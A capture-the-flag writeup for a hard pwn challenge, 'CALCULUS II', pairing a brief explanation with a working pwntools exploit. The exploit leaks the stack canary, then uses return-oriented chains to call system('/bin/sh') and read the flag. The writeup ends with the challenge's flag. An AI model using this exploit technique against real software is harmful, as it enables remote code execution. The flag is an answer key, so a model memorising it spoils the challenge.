Securinets ENIT Friendly CTF 2026 / Pwn WRITEUP
CALCULUS II
F**k calculus
EVENTSecurinets ENIT Friendly CTF 2026CATEGORYPwnDIFFICULTYhardPOINTS600
Walkthrough
Solution
An input containing "1\0" remains a valid expression while bytes after the embedded null overwrite display_len. Setting it to 105 makes the octal printer read nine limbs beyond the 96-limb product array. Decode that octal integer into 32-bit words to recover the stack canary and saved return address, then derive the PIE base.
An oversized quit request makes the calculator return through attacker data. Preserve the canary and first call puts(puts@GOT), returning to main to turn the leak into a libc base. A second canary-preserving chain calls system("/bin/sh") and reads the flag.
Reference solver
The reference solver supplied with the writeup:
from pwn import *
context.binary = elf = ELF("./main", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-linux-x86-64.so.2", checksec=False)
io = remote(args.HOST or "pwn.securinets-enit.club", int(args.PORT or 1338)) if args.REMOTE else process([ld.path, "--library-path", ".", elf.path])
leak_request = b"1\x00".ljust(0x1000, b"A") + p32(105)
io.sendlineafter(b"Bytes: ", str(len(leak_request)).encode())
io.sendafter(b"Expression: ", leak_request)
io.recvuntil(b"Product: ")
number = int(io.recvline().strip(), 8)
words = [(number >> (32 * index)) & 0xffffffff for index in range(105)]
canary = words[99] | words[100] << 32
saved_rip = words[103] | words[104] << 32
elf.address = saved_rip - (elf.sym.main + 0x80)
pop_rdi = elf.sym.service_record
ret = pop_rdi + 1
stage_one = b"quit\x00".ljust(0x1198, b"A") + flat(
canary,
0,
ret,
pop_rdi,
elf.got.puts,
elf.plt.puts,
ret,
elf.sym.main,
)
io.sendlineafter(b"Bytes: ", str(len(stage_one)).encode())
io.sendafter(b"Expression: ", stage_one)
raw_leak = io.recvuntil(b"CALCULUS II\n", drop=True)
libc.address = u64(raw_leak[:-1].ljust(8, b"\x00")) - libc.sym.puts
stage_two = b"quit\x00".ljust(0x1198, b"A") + flat(
canary,
0,
ret,
pop_rdi,
next(libc.search(b"/bin/sh\x00")),
libc.sym.system,
ret,
libc.sym.exit,
)
io.sendlineafter(b"Bytes: ", str(len(stage_two)).encode())
io.sendafter(b"Expression: ", stage_two)
io.sendline(b"cat /flag 2>/dev/null || cat flag.txt")
io.recvuntil(b"SecurinetsENIT{")
print((b"SecurinetsENIT{" + io.recvuntil(b"}")).decode())Flag
SecurinetsENIT{d3c1m4l_w4s_n3v3r_th3_pr0bl3m}
Published 2026-10-15 · by r3t0x← Back to archive · Pwn